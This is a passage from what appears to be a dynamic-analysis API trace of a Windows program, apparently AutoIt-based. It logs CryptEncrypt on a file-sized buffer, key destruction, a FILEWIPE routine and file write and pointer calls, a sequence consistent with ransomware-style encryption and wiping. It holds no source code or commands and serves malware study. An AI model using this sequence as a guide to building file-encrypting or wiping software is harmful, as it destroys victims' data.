(in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.788] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.788] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.788] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.788] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.788] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.788] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.788] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.788] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.788] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.788] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.788] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.788] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.788] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.788] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.789] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.789] CryptEncrypt (in: hKey=0xe8f4062aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x42e7, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x42f0) returned 1 [0028.789] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.789] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.789] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.789] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.789] CharLowerBuffW (in: lpsz="byte[17137]", cchLength=0xb | out: lpsz="byte[17137]") returned 0xb [0028.789] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.789] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.789] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.789] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.789] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.789] CryptEncrypt (in: hKey=0xe8f4062aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f437e320*, pdwDataLen=0xe8f3dfdf68*=0x42e7, dwBufLen=0x42f0 | out: pbData=0xe8f437e320*, pdwDataLen=0xe8f3dfdf68*=0x42f0) returned 1 [0028.789] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.789] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.789] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.789] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.789] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.790] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.790] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.790] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.790] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.790] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.790] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.790] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.790] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.790] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.790] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.790] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.790] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.790] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.790] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.790] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.791] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.791] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.791] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0028.791] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.791] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.791] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0028.791] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.791] CryptDestroyKey (hKey=0xe8f4062aa0) returned 1 [0028.791] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.791] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.791] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.791] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.791] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.791] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.791] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.791] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.791] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.791] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0028.791] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.791] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.791] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.791] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.791] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.791] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.792] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.792] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.792] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.792] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.792] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.792] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.792] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.792] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.792] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.792] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.792] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.792] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.792] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.792] CryptReleaseContext (hProv=0xe8f40633d0, dwFlags=0x0) returned 1 [0028.792] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.792] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.792] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.792] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.792] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.792] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.793] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.793] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.793] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.793] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0028.793] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.794] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.794] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.794] CharLowerBuffW (in: lpsz="byte[17127]", cchLength=0xb | out: lpsz="byte[17127]") returned 0xb [0028.794] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.794] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0028.794] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.794] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0028.794] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.794] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.794] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.794] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0028.794] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.794] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.794] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.794] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.794] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.794] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.794] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.794] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.794] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.794] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.794] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.794] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.794] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.795] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.795] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.795] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.795] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0028.795] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.795] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.795] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.795] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0028.795] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.795] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.795] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.795] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.795] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.795] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.795] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0028.795] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.795] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.795] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.795] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.795] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.796] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.796] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.796] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.796] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.796] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.796] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.796] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.796] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.796] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0028.796] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: 